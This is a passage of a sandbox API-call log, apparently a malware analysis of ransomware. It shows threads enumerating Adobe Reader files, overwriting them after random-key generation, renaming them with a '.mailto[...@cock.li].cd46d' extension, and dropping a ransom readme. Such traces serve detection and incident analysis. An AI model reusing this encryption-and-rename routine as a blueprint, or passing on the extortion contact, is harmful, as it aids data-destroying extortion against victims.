Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x7f836846 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x5dcacaeb [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x606f3a60 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x51b0f35c [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x45278c0a [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x168d65bc [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x67bdbb30 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x6f2e8403 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x70a9a560 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x487b566 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x36e97df0 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x4b387793 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x759427f4 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x4b1361bb [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x6861a4eb [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x4a19f6b7 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x38a32093 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x60d4153 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x33998e73 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x2c983a2d [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x1f472a4c [0058.792] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x2917747d [0058.803] ReadFile (in: hFile=0x1108, lpBuffer=0x971f918, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x9f0fd50, lpOverlapped=0x0 | out: lpBuffer=0x971f918*, lpNumberOfBytesRead=0x9f0fd50*=0x5c0, lpOverlapped=0x0) returned 1 [0058.803] SetFilePointerEx (in: hFile=0x1108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.803] WriteFile (in: hFile=0x1108, lpBuffer=0x972c120*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x9f0fd4c, lpOverlapped=0x0 | out: lpBuffer=0x972c120*, lpNumberOfBytesWritten=0x9f0fd4c*=0x5c0, lpOverlapped=0x0) returned 1 [0058.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95d0 [0058.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9580 [0058.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9580) returned 1 [0058.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x972c120) returned 1 [0058.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x971f918) returned 1 [0058.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437670) returned 1 [0058.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0058.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x51) returned 0x44a370 [0058.807] SetFilePointerEx (in: hFile=0x1108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.807] WriteFile (in: hFile=0x1108, lpBuffer=0x424230*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x9f0fdb4, lpOverlapped=0x0 | out: lpBuffer=0x424230*, lpNumberOfBytesWritten=0x9f0fdb4*=0x135, lpOverlapped=0x0) returned 1 [0058.808] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0058.808] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a430) returned 1 [0058.808] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9580) returned 1 [0058.808] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a370) returned 1 [0058.808] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95d0) returned 1 [0058.808] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95f8) returned 1 [0058.808] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e94e0) returned 1 [0058.808] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9530) returned 1 [0058.808] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xee) returned 0x4de000 [0058.808] wcscpy (in: _Dest=0x4de000, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest" [0058.808] wcscat (in: _Dest=0x4de000, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest.mailto[2Hamlampampom@cock.li].cd46d" [0058.809] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x9f0fd6c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.809] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x104) returned 0x423da8 [0058.810] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0058.810] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b5270) returned 1 [0058.810] NtQueryInformationFile (in: FileHandle=0x1108, IoStatusBlock=0x9f0fd78, FileInformation=0x9f0fd50, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9f0fd78, FileInformation=0x9f0fd50) returned 0x0 [0058.810] NtSetInformationFile (FileHandle=0x1108, IoStatusBlock=0x9f0fd78, FileInformation=0x9f0fd50, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.812] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de000) returned 1 [0058.812] FlushFileBuffers (hFile=0x1108) returned 1 [0062.213] CloseHandle (hObject=0x1108) returned 1 [0062.716] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x12e2a798 [0062.716] wcscpy (in: _Dest=0x12e2a798, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0062.716] wcscat (in: _Dest=0x12e2a798, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\CD46D-Readme.txt" [0062.716] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cd46d-readme.txt")) returned 0xffffffff [0062.716] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x650 [0063.457] WriteFile (in: hFile=0x650, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x9f0fd74, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x9f0fd74*=0x6fd, lpOverlapped=0x0) returned 1 [0063.458] CloseHandle (hObject=0x650) returned 1 [0063.458] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2a798) returned 1 [0063.458] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442990) returned 1 Thread: id = 568 os_tid = 0xfd4 [0049.880] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\agmgpuoptin.ini")) returned 0x20 [0058.813] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini", dwFileAttributes=0x20) returned 1 [0058.814] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\agmgpuoptin.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1110 [0058.814] GetFileSizeEx (in: hFile=0x1110, lpFileSize=0xb35f9f4 | out: lpFileSize=0xb35f9f4*=1727) returned 1 [0058.814] SetFilePointerEx (in: hFile=0x1110, liDistanceToMove=0x6bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.814] ReadFile (in: hFile=0x1110, lpBuffer=0xb35f978, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb35f974, lpOverlapped=0x0 | out: lpBuffer=0xb35f978*, lpNumberOfBytesRead=0xb35f974*=0x4, lpOverlapped=0x0) returned 1 [0058.816] SetFilePointerEx (in: hFile=0x1110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.816] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9530 [0058.816] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e94e0 [0058.816] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95f8 [0058.816] NtQuerySystemTime (in: CurrentTime=0xb35f954 | out: CurrentTime=0xb35f954*=132174898228044000) returned 0x0 [0058.816] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x227c3d64 [0058.816] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x2d976331 [0058.816] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x1be4db0e [0058.816] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x47f312a5 [0058.816] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x7edd92ee [0058.816] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x604f2613 [0058.816] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x68d4f58 [0058.816] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x695aa5b8 [0058.816] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x26b14fc0 [0058.816] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x124e93ee [0058.816] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x62126476 [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x4cff0667 [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x6655a113 [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x5f33fba6 [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x2800567d [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x3fe8890e [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x2105cfcf [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x379aa930 [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x624d7a55 [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x9e898c4 [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x48bc8181 [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x166026aa [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x540f40c4 [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x4bfffb2e [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x4e584e0a [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x33cf403a [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x546ecb9f [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x3ee5d129 [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x1cf46c17 [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x2c17afed [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x43196bef [0058.817] RtlRandomEx (in: Seed=0xb35f960 | out: Seed=0xb35f960) returned 0x54ab38b9 [0058.828] ReadFile (in: hFile=0x1110, lpBuffer=0x971f918, nNumberOfBytesToRead=0x6bf, lpNumberOfBytesRead=0xb35f950, lpOverlapped=0x0 | out: lpBuffer=0x971f918*, lpNumberOfBytesRead=0xb35f950*=0x6bf, lpOverlapped=0x0) returned 1 [0058.828] SetFilePointerEx (in: hFile=0x1110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.829] WriteFile (in: hFile=0x1110, lpBuffer=0x972c120*, nNumberOfBytesToWrite=0x6bf, lpNumberOfBytesWritten=0xb35f94c, lpOverlapped=0x0 | out: lpBuffer=0x972c120*, lpNumberOfBytesWritten=0xb35f94c*=0x6bf, lpOverlapped=0x0) returned 1 [0061.315] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec96b0 [0061.315] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec96d8 [0061.315] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec96d8) returned 1 [0061.315] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x972c120) returned 1 [0061.315] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x971f918) returned 1 [0061.315] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437670) returned 1 [0061.315] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0061.316] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2b) returned 0x40aa68 [0061.316] SetFilePointerEx (in: hFile=0x1110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.316] WriteFile (in: hFile=0x1110, lpBuffer=0x12d7cee0*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0xb35f9b4, lpOverlapped=0x0 | out: lpBuffer=0x12d7cee0*, lpNumberOfBytesWritten=0xb35f9b4*=0x10f, lpOverlapped=0x0) returned 1 [0062.803] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7cee0) returned 1 [0062.803] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab80) returned 1 [0062.803] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec96d8) returned 1 [0062.803] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aa68) returned 1 [0062.803] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec96b0) returned 1 [0062.803] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e94e0) returned 1 [0062.803] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95d0) returned 1 [0062.803] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9580) returned 1 [0062.803] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00200 [0062.803] wcscpy (in: _Dest=0x5e00200, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini" [0062.803] wcscat (in: _Dest=0x5e00200, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini.mailto[2Hamlampampom@cock.li].cd46d" [0062.803] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xb35f96c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGMGPUOptIn.ini.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.803] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x12cf9340 [0063.046] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf9340) returned 1 [0063.046] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1fdb8) returned 1 [0063.046] NtQueryInformationFile (in: FileHandle=0x1110, IoStatusBlock=0xb35f978, FileInformation=0xb35f950, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xb35f978, FileInformation=0xb35f950) returned 0x0 [0063.046] NtSetInformationFile (FileHandle=0x1110, IoStatusBlock=0xb35f978, FileInformation=0xb35f950, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.047] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00200) returned 1 [0063.047] FlushFileBuffers (hFile=0x1110) returned 1 [0066.200] CloseHandle (hObject=0x1110) Thread: id = 569 os_tid = 0xfd8 [0049.881] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x43a330 [0049.881] wcscpy (in: _Dest=0x43a330, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0049.881] wcscat (in: _Dest=0x43a330, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0049.881] wcscat (in: _Dest=0x43a330, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*" [0049.881] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45bbe0 [0049.881] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*", lpFindFileData=0x45bbe0 | out: lpFindFileData=0x45bbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440560 [0060.776] wcscmp (_String1=".", _String2=".") returned 0 [0060.776] FindNextFileW (in: hFindFile=0x440560, lpFindFileData=0x45bbe0 | out: lpFindFileData=0x45bbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.776] wcscmp (_String1="..", _String2=".") returned 1 [0060.776] wcscmp (_String1="..", _String2="..") returned 0 [0060.776] FindNextFileW (in: hFindFile=0x440560, lpFindFileData=0x45bbe0 | out: lpFindFileData=0x45bbe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CAT", cAlternateFileName="")) returned 1 [0060.776] wcscmp (_String1="nppdf32.CAT", _String2=".") returned 1 [0060.776] wcscmp (_String1="nppdf32.CAT", _String2="..") returned 1 [0060.776] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x5ec6d08 [0060.776] wcscpy (in: _Dest=0x5ec6d08, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" [0060.776] wcscat (in: _Dest=0x5ec6d08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0060.776] wcscat (in: _Dest=0x5ec6d08, _Source="nppdf32.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT" Thread: id = 570 os_tid = 0xfdc [0049.882] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45efb8 [0049.882] wcscpy (in: _Dest=0x45efb8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0049.882] wcscat (in: _Dest=0x45efb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0049.882] wcscat (in: _Dest=0x45efb8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*" [0049.882] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4586f0 [0049.882] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*", lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409d68 [0060.777] wcscmp (_String1=".", _String2=".") returned 0 [0060.777] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.777] wcscmp (_String1="..", _String2=".") returned 1 [0060.777] wcscmp (_String1="..", _String2="..") returned 0 [0060.777] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CAT", cAlternateFileName="")) returned 1 [0060.777] wcscmp (_String1="nppdf32.CAT", _String2=".") returned 1 [0060.777] wcscmp (_String1="nppdf32.CAT", _String2="..") returned 1 [0060.777] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x417c50 [0060.777] wcscpy (in: _Dest=0x417c50, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" [0060.777] wcscat (in: _Dest=0x417c50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0060.777] wcscat (in: _Dest=0x417c50, _Source="nppdf32.CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT" Thread: id = 571 os_tid = 0xfe0 [0049.882] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.sig")) returned 0x20 [0058.851] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 